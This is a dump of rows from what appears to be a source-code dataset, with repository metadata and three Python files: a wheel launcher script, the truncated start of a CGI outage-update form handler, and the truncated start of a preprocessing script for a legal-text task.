86162c2e3044c4991f3146946be6253becc800fc | d8913c1512146bb42756f61ba0872d73179884eb | /env/bin/wheel3 | 6c5a912cdabbfbc51374fb893594f592a6266ee5 | [
"MIT"
] | permissive | sahin88/Django_Rest_Framework_Redux_React_Estate_App_FullStack | 2ed305c399edfab05ce3653e8bcaf36f09ae9015 | 10e31c4071bcebc0e4401f42084211d170b2ea56 | refs/heads/main | 2023-03-22T17:00:37.102265 | 2021-03-16T17:26:53 | 2021-03-16T17:26:53 | 319,297,453 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 234 | #!/home/alex/Documents/estate/env/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from wheel.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"sahinmuratogur@gmail.com"
] | sahinmuratogur@gmail.com | |
c1ec56c62be7e95389e3aeb7ad30f6794d553aba | a1b892c0f5f8c5aa2c67b555b8d1d4b7727a86a4 | /Python/outage/edit_update.py | f28d19d183c03af4d7ba848164e4bf291788d408 | [] | no_license | Vivekdjango/outage | 60f463ae5294d2b33544a19bda34cc2c22dd42c8 | 20cfbc07e6714f0c8c7e685ea389f1b8ef1bfd53 | refs/heads/master | 2021-01-20T04:18:40.023340 | 2017-04-28T06:46:26 | 2017-04-28T06:46:26 | 89,675,693 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,475 | py | #!/usr/bin/python
print "Content-Type: text/html"
print ""
import cgi, cgitb
import re
import smtplib
import codecs
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
form=cgi.FieldStorage()
st=form.getvalue('status')
sub=form.getvalue('subject')
com=form.getvalue('comment')
pri... | [
"viveksinha@IC0532-L0.corp.inmobi.com"
] | viveksinha@IC0532-L0.corp.inmobi.com |
04481067cae2cdf914133af49338265cf8615ad1 | b306aab9dcea2dd83dda700bc9f7b9f1a32cff3a | /CAIL2020/sfzyzc/sfzyzb/preprocess.py | 90d05468cc6b241abae61ba2d175fe7a69e29aed | [
"Apache-2.0"
] | permissive | Tulpen/CAIL | d6ca9981c7ea2603ae61675ba330a9614cd9398d | c4cfa98ab4ecedbce34a7a5a186830486047540c | refs/heads/master | 2023-04-23T20:07:56.774530 | 2021-04-16T13:18:36 | 2021-04-16T13:18:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,081 | py | import json
import re
from difflib import SequenceMatcher
from query_sim import Query_Similar
import pandas
smallfile = "data/sfzy_small.json"
bigfile = "data/sfzy_big.json"
interfile = "data/inter.json"
# threshold = 0.3
def process_context(line):
spans = re.split('([,,:;;。])', line)
spans = [span for span ... | [
"bangtech@sina.com"
] | bangtech@sina.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.